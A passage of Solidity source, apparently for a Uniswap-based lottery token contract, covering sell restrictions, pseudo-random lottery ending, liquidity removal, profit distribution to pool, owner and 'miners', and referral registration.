address[] memory path = new address[]( 2 );
path[ 0 ] = address(this);
path[ 1 ] = WETHaddress;
uint[] memory ethAmountOut = uniswapRouter.getAmountsOut(
amountReceived, // uint amountIn
path // address[] path
);
// It's a sell (ULT -> WETH), so set value to NEGATIVE.
buySellValue = int( -1 ) * int( ethAmountOut[ 1 ] );
// Compute time factor value for the current ether value.
// buySellValue is NEGATIVE.
int timeFactorValue = ( buySellValue / (1 ether / 100) ) *
int( (block.timestamp - startDate) / cfg.timeFactorDivisor );
if( timeFactorValue == 0 )
timeFactorValue = -1;
// Update and propagate the seller (sender) scores.
lotStorage.updateAndPropagateScoreChanges(
sender,
int80( buySellValue ),
int80( timeFactorValue ),
-1 * int80( amountSent ) );
}
// Neither Sender nor Receiver are exchanges - default transfer.
// Tokens just got transfered between wallets, without
// exchanging for ETH - so etherContributed_change = 0.
// On this case, update both sender's & receiver's scores.
//
else {
buySellValue = 0;
lotStorage.updateAndPropagateScoreChanges( sender, 0, 0,
-1 * int80( amountSent ) );
lotStorage.updateAndPropagateScoreChanges( receiver, 0, 0,
int80( amountReceived ) );
}
// Check if lottery liquidity pool funds have already
// reached a minimum required ETH value.
uint ethFunds = getCurrentEthFunds();
if( !fundGainRequirementReached &&
ethFunds >= cfg.fundRequirement_denySells )
{
fundGainRequirementReached = true;
}
// Check whether this token transfer is allowed if it's a sell
// (if buySellValue is negative):
//
// If we've already reached the minimum fund gain requirement,
// and this sell would shrink lottery liquidity pool's ETH funds
// below this requirement, then deny this sell, causing this
// transaction to fail.
if( fundGainRequirementReached &&
buySellValue < 0 &&
( uint( -1 * buySellValue ) >= ethFunds ||
ethFunds - uint( -1 * buySellValue ) <
cfg.fundRequirement_denySells ) )
{
require( false/*, "This sell would drop the lottery ETH funds"
"below the minimum requirement threshold!" */);
}
}
/**
* Check for finishing stage start conditions.
* - If some conditions are met, start finishing stage!
* Do it by setting "onFinishingStage" bool.
* - If we're currently on finishing stage, and some condition
* is no longer met, then stop the finishing stage.
*/
function checkFinishingStageConditions()
internal
{
// Firstly, check if lottery hasn't exceeded it's maximum lifetime.
// If so, don't check anymore, just set finishing stage, and
// end the lottery on further call of checkForEnding().
if( (block.timestamp - startDate) > cfg.maxLifetime )
{
lotteryStage = uint8( STAGE.FINISHING );
return;
}
// Compute & check the finishing criteria.
// Notice that we adjust the config-specified fund gain
// percentage increase to uint-mode, by adding 100 percents,
// because we don't deal with negative percentages, and here
// we represent loss as a percentage below 100%, and gains
// as percentage above 100%.
// So, if in regular gains notation, it's said 10% gain,
// in uint mode, it's said 110% relative increase.
//
// (Also, remember that losses are impossible in our lottery
// working scheme).
if( lotStorage.getHolderCount() >= cfg.finishCriteria_minNumberOfHolders
&&
getCurrentEthFunds() >= cfg.finishCriteria_minFunds
&&
(block.timestamp - startDate) >= cfg.finishCriteria_minTimeActive )
{
if( onStage( STAGE.ACTIVE ) )
{
// All conditions are met - start the finishing stage.
lotteryStage = uint8( STAGE.FINISHING );
emit FinishingStageStarted();
}
}
else if( onStage( STAGE.FINISHING ) )
{
// However, what if some condition was not met, but we're
// already on the finishing stage?
// If so, we must stop the finishing stage.
// But what to do with the finishing probability?
// Config specifies if it should be reset or maintain it's
// value until the next time finishing stage is started.
lotteryStage = uint8( STAGE.ACTIVE );
if( cfg.finish_resetProbabilityOnStop )
finishProbablity = cfg.finish_initialProbability;
emit FinishingStageStopped();
}
}
/**
* We're currently on finishing stage - so let's check if
* we should end the lottery block.timestamp!
*
* This function is called from _transfer(), only if we're sure
* that we're currently on finishing stage (onFinishingStage
* variable is set).
*
* Here, we compute the pseudo-random number from hash of
* current message's sender, block.timestamp, and other values,
* and modulo it to the current finish probability.
* If it's equal to 1, then we end the lottery!
*
* Also, here we update the finish probability according to
* probability update criteria - holder count, and tx count.
*
* @param holderCountChanged - indicates whether Holder Count
* has changed during this transfer (new holder joined, or
* a holder sold all his tokens).
*/
function checkForEnding( bool holderCountChanged )
internal
{
// At first, check if lottery max lifetime is exceeded.
// If so, start ending procedures right block.timestamp.
if( (block.timestamp - startDate) > cfg.maxLifetime )
{
startEndingStage();
return;
}
// Now, we know that lottery lifetime is still OK, and we're
// currently on Finishing Stage (because this function is
// called only when onFinishingStage is set).
//
// Now, check if we should End the lottery, by computing
// a modulo on a pseudo-random number, which is a transfer
// hash, computed for every transfer on _transfer() function.
//
// Get the modulo amount according to current finish
// probability.
// We use precision of 0.01% - notice the "10000 *" before
// 100 PERCENT.
// Later, when modulo'ing, we'll check if value is below 10000.
//
uint prec = 10000;
uint modAmount = (prec * _100PERCENT) / finishProbablity;
if( ( transferHashValue % modAmount ) <= prec )
{
// Finish probability is met! Commence lottery end -
// start Ending Stage.
startEndingStage();
return;
}
// Finish probability wasn't met.
// Update the finish probability, by increasing it!
// Transaction count criteria.
// As we know that this function is called on every new
// transfer (transaction), we don't check if transactionCount
// increased or not - we just perform probability update.
finishProbablity += cfg.finish_probabilityIncreaseStep_transaction;
// Now, perform holder count criteria update.
// Finish probability increases, no matter if holder count
// increases or decreases.
if( holderCountChanged )
finishProbablity += cfg.finish_probabilityIncreaseStep_holder;
}
/**
* Start the Ending Stage, by De-Activating the lottery,
* to deny all further token transfers (excluding the one when
* removing liquidity from Uniswap), and transition into the
* Mining Phase - set the lotteryStage to MINING.
*/
function startEndingStage()
internal
{
lotteryStage = uint8( STAGE.ENDING_MINING );
}
/**
* Execute the first step of the Mining Stage - request a
* Random Seed from the Randomness Provider.
*
* Here, we call the Randomness Provider, asking for a true random seed
* to be passed to us into our callback, named
* "finish_randomnessProviderCallback()".
*
* When that callback will be called, our storage's random seed will
* be set, and we'll be able to start the Ending Algorithm on
* further mining steps.
*
* Notice that Randomness Provider must already be funded, to
* have enough Ether for Provable fee and the gas costs of our
* callback function, which are quite high, because of winner
* selection algorithm, which is computationally expensive.
*
* The Randomness Provider is always funded by the Pool,
* right before the Pool deploys and starts a new lottery, so
* as every lottery calls the Randomness Provider only once,
* the one-call-fund method for every lottery is sufficient.
*
* Also notice, that Randomness Provider might fail to call
* our callback due to some unknown reasons!
* Then, the lottery profits could stay locked in this
* lottery contract forever ?!!
*
* No! We've thought about that - we've implemented the
* Alternative Ending mechanism, where, if specific time passes
* after we've made a request to Randomness Provider, and
* callback hasn't been called yet, we allow external actor to
* execute the Alternative ending, which basically does the
* same things as the default ending, just that the Random Seed
* will be computed locally in our contract, using the
* Pseudo-Random mechanism, which could compute a reasonably
* fair and safe value using data from holder array, and other
* values, described in more detail on corresponding function's
* description.
*/
function mine_requestRandomSeed()
internal
{
// We're sure that the Randomness Provider has enough funds.
// Execute the random request, and get ready for Ending Algorithm.
IRandomnessProvider( randomnessProvider )
.requestRandomSeedForLotteryFinish();
// Store the time when random seed has been requested, to
// be able to alternatively handle the lottery finish, if
// randomness provider doesn't call our callback for some
// reason.
finish_timeRandomSeedRequested = uint32( block.timestamp );
// Emit appropriate events.
emit RandomnessProviderCalled();
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Transfer the Owner & Pool profit shares, when lottery ends.
* This function is the first one that's executed on the Mining
* Stage.
* This is the first step of Mining. So, the Miner who executes this
* function gets the mining reward.
*
* This function's job is to Gather the Profits & Initial Funds,
* and Transfer them to Profiters - that is, to The Pool, and
* to The Owner.
*
* The Miners' profit share and Winner Prize Fund stay in this
* contract.
*
* On this function, we (in this order):
*
* 1. Remove all liquidity from Uniswap (if using Uniswap Mode),
* pulling it to our contract's wallet.
*
* 2. Transfer the Owner and the Pool ETH profit shares to
* Owner and Pool addresses.
*
* * This function transfers Ether out of our contract:
* - We transfer the Profits to Pool and Owner addresses.
*/
function mine_removeUniswapLiquidityAndTransferProfits()
internal
mutexLOCKED
{
// We've already approved our token allowance to Router.
// Now, approve Uniswap liquidity token's Router allowance.
ERC20( exchangeAddress ).approve( address(uniswapRouter), uint(-1) );
// Enable the SPECIAL-TRANSFER mode, to allow Uniswap to transfer
// the tokens from Pair to Router, and then from Router to us.
specialTransferModeEnabled = true;
// Remove liquidity!
uint amountETH = uniswapRouter
.removeLiquidityETHSupportingFeeOnTransferTokens(
address(this), // address token,
ERC20( exchangeAddress ).balanceOf( address(this) ),
0, // uint amountTokenMin,
0, // uint amountETHMin,
address(this), // address to,
(block.timestamp + 10000000) // uint deadline
);
// Tokens are transfered. Disable the special transfer mode.
specialTransferModeEnabled = false;
// Check that we've got a correct amount of ETH.
require( address(this).balance >= amountETH &&
address(this).balance >= cfg.initialFunds/*,
"Incorrect amount of ETH received from Uniswap!" */);
// Compute the Profit Amount (current balance - initial funds).
ending_totalReturn = uint128( address(this).balance );
ending_profitAmount = ending_totalReturn - uint128( cfg.initialFunds );
// Compute, and Transfer Owner's profit share and
// Pool's profit share to their respective addresses.
uint poolShare = ( ending_profitAmount * cfg.poolProfitShare ) /
( _100PERCENT );
uint ownerShare = ( ending_profitAmount * cfg.ownerProfitShare ) /
( _100PERCENT );
// To pool, transfer it's profit share plus initial funds.
IUniLotteryPool( poolAddress ).lotteryFinish
{ value: poolShare + cfg.initialFunds }
( ending_totalReturn, ending_profitAmount );
// Transfer Owner's profit share.
OWNER_ADDRESS.transfer( ownerShare );
// Emit ending event.
emit LotteryEnd( ending_totalReturn, ending_profitAmount );
}
/**
* Executes a single step of the Winner Selection Algorithm
* (the Ending Algorithm).
* The algorithm itself is being executed in the Storage contract.
*
* On current design, whole algorithm is executed in a single step.
*
* This function is executed only in the Mining stage, and
* accounts for most of the gas spent during mining.
*/
function mine_executeEndingAlgorithmStep()
internal
{
// Launch the winner algorithm, to execute the next step.
lotStorage.executeWinnerSelectionAlgorithm();
}
// =============== Public functions =============== //
/**
* Constructor of this delegate code contract.
* Here, we set OUR STORAGE's lotteryStage to DISABLED, because
* we don't want anybody to call this contract directly.
*/
constructor()
{
lotteryStage = uint8( STAGE.DISABLED );
}
/**
* Construct the lottery contract which is delegating it's
* call to us.
*
* @param config - LotteryConfig structure to use in this lottery.
*
* Future approach: ABI-encoded Lottery Config
* (different implementations might use different config
* structures, which are ABI-decoded inside the implementation).
*
* Also, this "config" includes the ABI-encoded temporary values,
* which are not part of persisted LotteryConfig, but should
* be used only in constructor - for example, values to be
* assigned to storage variables, such as ERC20 token's
* name, symbol, and decimals.
*
* @param _poolAddress - Address of the Main UniLottery Pool, which
* provides initial funds, and receives it's profit share.
*
* @param _randomProviderAddress - Address of a Randomness Provider,
* to use for obtaining random seeds.
*
* @param _storageAddress - Address of a Lottery Storage.
* Storage contract is a separate contract which holds all
* lottery token holder data, such as intermediate scores.
*
*/
function construct(
LotteryConfig memory config,
address payable _poolAddress,
address _randomProviderAddress,
address _storageAddress )
external
{
// Check if contract wasn't already constructed!
require( poolAddress == address( 0 )/*,
"Contract is already constructed!" */);
// Set the Pool's Address - notice that it's not the
// msg.sender, because lotteries aren't created directly
// by the Pool, but by the Lottery Factory!
poolAddress = _poolAddress;
// Set the Randomness Provider address.
randomnessProvider = _randomProviderAddress;
// Check the minimum & maximum requirements for config
// profit & lifetime parameters.
require( config.maxLifetime <= MAX_LOTTERY_LIFETIME/*,
"Lottery maximum lifetime is too high!" */);
require( config.poolProfitShare >= MIN_POOL_PROFITS &&
config.poolProfitShare <= MAX_POOL_PROFITS/*,
"Pool profit share is invalid!" */);
require( config.ownerProfitShare >= MIN_OWNER_PROFITS &&
config.ownerProfitShare <= MAX_OWNER_PROFITS/*,
"Owner profit share is invalid!" */);
require( config.minerProfitShare >= MIN_MINER_PROFITS &&
config.minerProfitShare <= MAX_MINER_PROFITS/*,
"Miner profit share is invalid!" */);
// Check if time factor divisor is higher than 2 minutes.
// That's because int40 wouldn't be able to handle precisions
// of smaller time factor divisors.
require( config.timeFactorDivisor >= 2 minutes /*,
"Time factor divisor is lower than 2 minutes!"*/ );
// Check if winner profit share is good.
uint32 totalWinnerShare =
(_100PERCENT) - config.poolProfitShare
- config.ownerProfitShare
- config.minerProfitShare;
require( totalWinnerShare >= MIN_WINNER_PROFIT_SHARE/*,
"Winner profit share is too low!" */);
// Check if ending algorithm params are good.
require( config.randRatio_scorePart != 0 &&
config.randRatio_randPart != 0 &&
( config.randRatio_scorePart +
config.randRatio_randPart ) < 10000/*,
"Random Ratio params are invalid!" */);
require( config.endingAlgoType ==
uint8( EndingAlgoType.MinedWinnerSelection ) ||
config.endingAlgoType ==
uint8( EndingAlgoType.WinnerSelfValidation ) ||
config.endingAlgoType ==
uint8( EndingAlgoType.RolledRandomness )/*,
"Wrong Ending Algorithm Type!" */);
// Set the number of winners (winner count).
// If using Computed Sequence winner prize shares, set that
// value, and if it's zero, then we're using the Array-Mode
// prize share specification.
if( config.prizeSequence_winnerCount == 0 &&
config.winnerProfitShares.length != 0 )
config.prizeSequence_winnerCount =
uint16( config.winnerProfitShares.length );
// Setup our Lottery Storage - initialize, and set the
// Algorithm Config.
LotteryStorage _lotStorage = LotteryStorage( _storageAddress );
// Setup a Winner Score Config for the winner selection algo,
// to be used in the Lottery Storage.
LotteryStorage.WinnerAlgorithmConfig memory winnerConfig;
// Algorithm type.
winnerConfig.endingAlgoType = config.endingAlgoType;
// Individual player max score parts.
winnerConfig.maxPlayerScore_etherContributed =
config.maxPlayerScore_etherContributed;
winnerConfig.maxPlayerScore_tokenHoldingAmount =
config.maxPlayerScore_tokenHoldingAmount;
winnerConfig.maxPlayerScore_timeFactor =
config.maxPlayerScore_timeFactor;
winnerConfig.maxPlayerScore_refferalBonus =
config.maxPlayerScore_refferalBonus;
// Score-To-Random ratio parts.
winnerConfig.randRatio_scorePart = config.randRatio_scorePart;
winnerConfig.randRatio_randPart = config.randRatio_randPart;
// Set winner count (no.of winners).
winnerConfig.winnerCount = config.prizeSequence_winnerCount;
// Initialize the storage (bind it to our contract).
_lotStorage.initialize( winnerConfig );
// Set our immutable variable.
lotStorage = _lotStorage;
// Now, set our config to the passed config.
cfg = config;
// Might be un-needed (can be replaced by Constant on the MainNet):
WETHaddress = uniswapRouter.WETH();
}
/** PAYABLE [ IN ] <<<<<<<<<<<<<<<<<<<<<<<<<<<<
*
* Fallback Receive Ether function.
* Used to receive ETH funds back from Uniswap, on lottery's end,
* when removing liquidity.
*/
receive() external payable
{
emit FallbackEtherReceiver( msg.sender, msg.value );
}
/** PAYABLE [ IN ] <<<<<<<<<<<<<<<<<<<<<<<<<<<<
* PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Initialization function.
* Here, the most important startup operations are made -
* such as minting initial token supply and transfering it to
* the Uniswap liquidity pair, in exchange for UNI-v2 tokens.
*
* This function is called by the pool, when transfering
* initial funds to this contract.
*
* What's payable?
* - Pool transfers initial funds to our contract.
* - We transfer that initial fund Ether to Uniswap liquidity pair
* when creating/providing it.
*/
function initialize()
external
payable
poolOnly
mutexLOCKED
onlyOnStage( STAGE.INITIAL )
{
// Check if pool transfered correct amount of funds.
require( address( this ).balance == cfg.initialFunds/*,
"Invalid amount of funds transfered!" */);
// Set start date.
startDate = uint32( block.timestamp );
// Set the initial transfer hash value.
transferHashValue = uint( keccak256(
abi.encodePacked( msg.sender, block.timestamp ) ) );
// Set initial finish probability, to be used when finishing
// stage starts.
finishProbablity = cfg.finish_initialProbability;
// ===== Active operations - mint & distribute! ===== //
// Mint full initial supply of tokens to our contract address!
_mint( address(this),
uint( cfg.initialTokenSupply ) * (10 ** decimals) );
// Now - prepare to create a new Uniswap Liquidity Pair,
// with whole our total token supply and initial funds ETH
// as the two liquidity reserves.
// Approve Uniswap Router to allow it to spend our tokens.
// Set maximum amount available.
_approve( address(this), address( uniswapRouter ), uint(-1) );
// Provide liquidity - the Router will automatically
// create a new Pair.
uniswapRouter.addLiquidityETH
{ value: address(this).balance }
(
address(this), // address token,
totalSupply(), // uint amountTokenDesired,
totalSupply(), // uint amountTokenMin,
address(this).balance, // uint amountETHMin,
address(this), // address to,
(block.timestamp + 1000) // uint deadline
);
// Get the Pair address - that will be the exchange address.
exchangeAddress = IUniswapFactory( uniswapRouter.factory() )
.getPair( WETHaddress, address(this) );
// We assume that the token reserves of the pair are good,
// and that we own the full amount of liquidity tokens.
// Find out which of the pair tokens is WETH - is it the
// first or second one. Use it later, when getting our share.
if( IUniswapPair( exchangeAddress ).token0() == WETHaddress )
uniswap_ethFirst = true;
else
uniswap_ethFirst = false;
// Move to ACTIVE lottery stage.
// Now, all token transfers will be allowed.
lotteryStage = uint8( STAGE.ACTIVE );
// Lottery is initialized. We're ready to emit event.
emit LotteryInitialized();
}
// Return this lottery's initial funds, as were specified in the config.
//
function getInitialFunds() external view
returns( uint )
{
return cfg.initialFunds;
}
// Return active (still not returned to pool) initial fund value.
// If no-longer-active, return 0 (default) - because funds were
// already returned back to the pool.
//
function getActiveInitialFunds() external view
returns( uint )
{
if( onStage( STAGE.ACTIVE ) )
return cfg.initialFunds;
return 0;
}
/**
* Get current Exchange's Token and ETH reserves.
* We're on Uniswap mode, so get reserves from Uniswap.
*/
function getReserves()
external view
returns( uint _ethReserve, uint _tokenReserve )
{
// Use data from Uniswap pair contract.
( uint112 res0, uint112 res1, ) =
IUniswapPair( exchangeAddress ).getReserves();
if( uniswap_ethFirst )
return ( res0, res1 );
else
return ( res1, res0 );
}
/**
* Get our share (ETH amount) of the Uniswap Pair ETH reserve,
* of our Lottery tokens ULT-WETH liquidity pair.
*/
function getCurrentEthFunds()
public view
returns( uint ethAmount )
{
IUniswapPair pair = IUniswapPair( exchangeAddress );
( uint112 res0, uint112 res1, ) = pair.getReserves();
uint resEth = uint( uniswap_ethFirst ? res0 : res1 );
// Compute our amount of the ETH reserve, based on our
// percentage of our liquidity token balance to total supply.
uint liqTokenPercentage =
( pair.balanceOf( address(this) ) * (_100PERCENT) ) /
( pair.totalSupply() );
// Compute and return the ETH reserve.
return ( resEth * liqTokenPercentage ) / (_100PERCENT);
}
/**
* Get current finish probability.
* If it's ACTIVE stage, return 0 automatically.
*/
function getFinishProbability()
external view
returns( uint32 )
{
if( onStage( STAGE.FINISHING ) )
return finishProbablity;
return 0;
}
/**
* Generate a referral ID for msg.sender, who must be a token holder.
* Referral ID is used to refer other wallets into playing our
* lottery.
* - Referrer gets bonus points for every wallet that bought
* lottery tokens and specified his referral ID.
* - Referrees (wallets who got referred by registering a valid
* referral ID, corresponding to some referrer), get some
* bonus points for specifying (registering) a referral ID.
*
* Referral ID is a uint256 number, which is generated by
* keccak256'ing the holder's address, holder's current
* token ballance, and current time.
*/
function generateReferralID()
external
onlyOnStage( STAGE.ACTIVE )
{
uint256 refID = lotStorage.generateReferralID( msg.sender );
// Emit approppriate events.
emit ReferralIDGenerated( msg.sender, refID );
}
/**
* Register a referral for a msg.sender (must be token holder),
* using a valid referral ID got from a referrer.
* This function is called by a referree, who obtained a
* valid referral ID from some referrer, who previously
* generated it using generateReferralID().
*
* You can only register a referral once!
* When you do so, you get bonus referral points!
*/
function registerReferral(
uint256 referralID )
external
onlyOnStage( STAGE.ACTIVE )
{
address referrer = lotStorage.registerReferral(
msg.sender,
cfg.playerScore_referralRegisteringBonus,
referralID );
// Emit approppriate events.
emit ReferralRegistered( msg.sender, referrer, referralID );
}
/**
* The most important function of this contract - Transfer Function.
*
* Here, all token burning, intermediate score tracking, and
* finish condition checking is performed, according to the
* properties specified in config.
*/
function _transfer( address sender,
address receiver,
uint256 amount )
internal
override
{
// Check if transfers are allowed in current state.
// On Non-Active stage, transfers are allowed only from/to
// our contract.
// As we don't have Standalone Mode on this lottery variation,
// that means that tokens to/from our contract are travelling
// only when we transfer them to Uniswap Pair, and when
// Uniswap transfers them back to us, on liquidity remove.
//
// On this state, we also don't perform any burns nor
// holding trackings - just transfer and return.
if( !onStage( STAGE.ACTIVE ) &&
!onStage( STAGE.FINISHING ) &&
( sender == address(this) || receiver == address(this) ||
specialTransferModeEnabled ) )
{
super._transfer( sender, receiver, amount );
return;
}
// Now, we know that we're NOT on special mode.
// Perform standard checks & brecks.
require( ( onStage( STAGE.ACTIVE ) ||
onStage( STAGE.FINISHING ) )/*,
"Token transfers are only allowed on ACTIVE stage!" */);
// Can't transfer zero tokens, or use address(0) as sender.
require( amount != 0 && sender != address(0)/*,
"Amount is zero, or transfering from zero address." */);
// Compute the Burn Amount - if buying tokens from an exchange,
// we use a lower burn rate - to incentivize buying!
// Otherwise (if selling or just transfering between wallets),
// we use a higher burn rate.
uint burnAmount;
// It's a buy - sender is an exchange.
if( sender == exchangeAddress )
burnAmount = ( amount * cfg.burn_buyerRate ) / (_100PERCENT);
else
burnAmount = ( amount * cfg.burn_defaultRate ) / (_100PERCENT);
// Now, compute the final amount to be gotten by the receiver.
uint finalAmount = amount - burnAmount;
// Check if receiver's balance won't exceed the max-allowed!
// Receiver must not be an exchange.
if( receiver != exchangeAddress )
{
require( !transferExceedsMaxBalance( receiver, finalAmount )/*,
"Receiver's balance would exceed maximum after transfer!"*/);
}
// Now, update holder data array accordingly.
bool holderCountChanged = updateHolderData_preTransfer(
sender,
receiver,
amount, // Amount Sent (Pre-Fees)
finalAmount // Amount Received (Post-Fees).
);
// All is ok - perform the burn and token transfers block.timestamp.
// Burn token amount from sender's balance.
super._burn( sender, burnAmount );
// Finally, transfer the final amount from sender to receiver.
super._transfer( sender, receiver, finalAmount );
// Compute new Pseudo-Random transfer hash, which must be
// computed for every transfer, and is used in the
// Finishing Stage as a pseudo-random unique value for
// every transfer, by which we determine whether lottery
// should end on this transfer.
//
// Compute it like this: keccak the last (current)
// transferHashValue, msg.sender, sender, receiver, amount.
transferHashValue = uint( keccak256( abi.encodePacked(
transferHashValue, msg.sender, sender, receiver, amount ) ) );
// Check if we should be starting a finishing stage block.timestamp.
checkFinishingStageConditions();
// If we're on finishing stage, check for ending conditions.
// If ending check is satisfied, the checkForEnding() function
// starts ending operations.
if( onStage( STAGE.FINISHING ) )
checkForEnding( holderCountChanged );
}
/**
* Callback function, which is called from Randomness Provider,
* after it obtains a random seed to be passed to us, after
* we have initiated The Ending Stage, on which random seed
* is used to generate random factors for Winner Selection
* algorithm.
*/
function finish_randomnessProviderCallback(
uint256 randomSeed,
uint256 /*callID*/ )
external
randomnessProviderOnly
{
// Set the random seed in the Storage Contract.
lotStorage.setRandomSeed( randomSeed );
// If algo-type is not Mined Winner Selection, then by block.timestamp
// we assume lottery as COMPL3T3D.
if( cfg.endingAlgoType != uint8(EndingAlgoType.MinedWinnerSelection) )
{
lotteryStage = uint8( STAGE.COMPLETION );
completionDate = uint32( block.timestamp );
}
}
/**
* Function checks if we can initiate Alternative Seed generation.
*
* Alternative approach to Lottery Random Seed is used only when
* Randomness Provider doesn't work, and doesn't call the
* above callback.
*
* This alternative approach can be initiated by Miners, when
* these conditions are met:
* - Lottery is on Ending (Mining) stage.
* - Request to Randomness Provider was made at least X time ago,
* and our callback hasn't been called yet.
*
* If these conditions are met, we can initiate the Alternative
* Random Seed generation, which generates a seed based on our
* state.
*/
function alternativeSeedGenerationPossible()
internal view
returns( bool )
{
return ( onStage( STAGE.ENDING_MINING ) &&
( (block.timestamp - finish_timeRandomSeedRequested) >
cfg.REQUIRED_TIME_WAITING_FOR_RANDOM_SEED ) );
}
/**
* Return this lottery's config, using ABIEncoderV2.
*/
/*function getLotteryConfig()
external view
returns( LotteryConfig memory ourConfig )
{
return cfg;
}*/
/**
* Checks if Mining is currently available.
*/
function isMiningAvailable()
external view
returns( bool )
{
return onStage( STAGE.ENDING_MINING ) &&
( miningStep == 0 ||
( miningStep == 1 &&
( lotStorage.getRandomSeed() != 0 ||
alternativeSeedGenerationPossible() )
) );
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Mining function, to be executed on Ending (Mining) stage.
*
* "Mining" approach is used in this lottery, to use external
* actors for executing the gas-expensive Ending Algorithm,
* and other ending operations, such as profit transfers.
*
* "Miners" can be any external actors who call this function.
* When Miner successfully completes a Mining Step, he gets
* a Mining Reward, which is a certain portion of lottery's profit
* share, dedicated to Miners.
*
* NOT-IMPLEMENTED APPROACH:
*
* All these operations are divided into "mining steps", which are
* smaller components, which fit into reasonable gas limits.
* All "steps" are designed to take up similar amount of gas.
*
* For example, if total lottery profits (total ETH got from
* pulling liquidity out of Uniswap, minus initial funds),
* is 100 ETH, Miner Profit Share is 10%, and there are 5 mining
* steps total, then for a singe step executed, miner will get:
*
* (100 * 0.1) / 5 = 2 ETH.
*
* ---------------------------------
*
* CURRENTLY IMPLEMENTED APPROACH:
*
* As the above-defined approach would consume very much gas for
* inter-step intermediate state storage, we have thought that
* for block.timestamp, it's better to have only 2 mining steps, the second of
* which performs the whole Winner Selection Algorithm.
*
* This is because performing the whole algorithm at once would save
* us up to 10x more gas in total, than executing it in steps.
*
* However, this solution is not scalable, because algorithm has
* to fit into block gas limit (10,000,000 gas), so we are limited
* to a certain safe maximum number of token holders, which is
* empirically determined during testing, and defined in the
* MAX_SAFE_NUMBER_OF_HOLDERS constant, which is checked against the
* config value "finishCriteria_minNumberOfHolders" in constructor.
*
* So, in this approach, there are only 2 mining steps:
*
* 1. Remove liquidity from Uniswap, transfer profit shares to
* the Pool and the Owner Address, and request Random Seed
* from the Randomness Provider.
* Reward: 25% of total Mining Rewards.
*
* 2. Perform the whole Winner Selection Algorithm inside the
* Lottery Storage contract.
* Reward: 75% of total Mining Rewards.
*
* * Function transfers Ether out of our contract:
* - Transfers the current miner's reward to msg.sender.
*/
function mine()
external
onlyOnStage( STAGE.ENDING_MINING )
{
uint currentStepReward;
// Perform different operations on different mining steps.
// Step 0: Remove liquidity from Uniswap, transfer profits to
// Pool and Owner addresses. Also, request a Random Seed
// from the Randomness Provider.
if( miningStep == 0 )
{
mine_requestRandomSeed();
mine_removeUniswapLiquidityAndTransferProfits();
// Compute total miner reward amount, then compute this
// step's reward later.
uint totalMinerRewards =
( ending_profitAmount * cfg.minerProfitShare ) /
( _100PERCENT );
// Step 0 reward is 10% for Algo type 1.
if( cfg.endingAlgoType == uint8(EndingAlgoType.MinedWinnerSelection) )
{
currentStepReward = ( totalMinerRewards * (10 * PERCENT) ) /
( _100PERCENT );
}
// If other algo-types, second step is not normally needed,
// so here we take 80% of miner rewards.
// If Randomness Provider won't give us a seed after
// specific amount of time, we'll initiate a second step,
// with remaining 20% of miner rewords.
else
{
currentStepReward = ( totalMinerRewards * (80 * PERCENT) ) /
( _100PERCENT );
}
require( currentStepReward <= totalMinerRewards/*, "BUG 1694" */);
}
// Step 1:
// If we use MinedWinnerSelection algo-type, then execute the
// winner selection algorithm.
// Otherwise, check if Random Provider hasn't given us a
// random seed long enough, so that we have to generate a
// seed locally.
else
{
// Check if we can go into this step when using specific
// ending algorithm types.
if( cfg.endingAlgoType != uint8(EndingAlgoType.MinedWinnerSelection) )
{
require( lotStorage.getRandomSeed() == 0 &&
alternativeSeedGenerationPossible()/*,
"Second Mining Step is not available for "
"current Algo-Type on these conditions!" */);
}
// Compute total miner reward amount, then compute this
// step's reward later.
uint totalMinerRewards =
( ending_profitAmount * cfg.minerProfitShare ) /
( _100PERCENT );
// Firstly, check if random seed is already obtained.
// If not, check if we should generate it locally.
if( lotStorage.getRandomSeed() == 0 )
{
if( alternativeSeedGenerationPossible() )
{
// Set random seed inside the Storage Contract,
// but using our contract's transferHashValue as the
// random seed.
// We believe that this hash has enough randomness
// to be considered a fairly good random seed,
// because it has beed chain-computed for every
// token transfer that has occured in ACTIVE stage.
//
lotStorage.setRandomSeed( transferHashValue );
// If using Non-Mined algorithm types, reward for this
// step is 20% of miner funds.
if( cfg.endingAlgoType !=
uint8(EndingAlgoType.MinedWinnerSelection) )
{
currentStepReward =
( totalMinerRewards * (20 * PERCENT) ) /
( _100PERCENT );
}
}
else
{
// If alternative seed generation is not yet possible
// (not enough time passed since the rand.provider
// request was made), then mining is not available
// currently.
require( false/*, "Mining not yet available!" */);
}
}
// Now, we know that Random Seed is obtained.
// If we use this algo-type, perform the actual
// winner selection algorithm.
if( cfg.endingAlgoType == uint8(EndingAlgoType.MinedWinnerSelection) )
{
mine_executeEndingAlgorithmStep();
// Set the prize amount to SECOND STEP prize amount (90%).
currentStepReward = ( totalMinerRewards * (90 * PERCENT) ) /
( _100PERCENT );
}
// Now we've completed both Mining Steps, it means MINING stage
// is finally completed!
// Transition to COMPLETION stage, and set lottery completion
// time to NOW.
lotteryStage = uint8( STAGE.COMPLETION );
completionDate = uint32( block.timestamp );
require( currentStepReward <= totalMinerRewards/*, "BUG 2007" */);
}
// Now, transfer the reward to miner!
// Check for bugs too - if the computed amount doesn't exceed.
// Increment the mining step - move to next step (if there is one).
miningStep++;
// Check & Lock the Re-Entrancy Lock for transfers.
require( ! reEntrancyMutexLocked/*, "Re-Entrant call detected!" */);
reEntrancyMutexLocked = true;
// Finally, transfer the reward to message sender!
msg.sender.transfer( currentStepReward );
// UnLock ReEntrancy Lock.
reEntrancyMutexLocked = false;
}
/**
* Function computes winner prize amount for winner at rank #N.
* Prerequisites: Must be called only on STAGE.COMPLETION stage,
* because we use the final profits amount here, and that value
* (ending_profitAmount) is known only on COMPLETION stage.
*
* @param rankingPosition - ranking position of a winner.
* @return finalPrizeAmount - prize amount, in Wei, of this winner.
*/
function getWinnerPrizeAmount(
uint rankingPosition )
public view
returns( uint finalPrizeAmount )
{
// Calculate total winner prize fund profit percentage & amount.
uint winnerProfitPercentage =
(_100PERCENT) - cfg.poolProfitShare -
cfg.ownerProfitShare - cfg.minerProfitShare;
uint totalPrizeAmount =
( ending_profitAmount * winnerProfitPercentage ) /
( _100PERCENT );
// We compute the prize amounts differently for the algo-type
// RolledRandomness, because distribution of these prizes is
// non-deterministic - multiple holders could fall onto the
// same ranking position, due to randomness of rolled score.
//
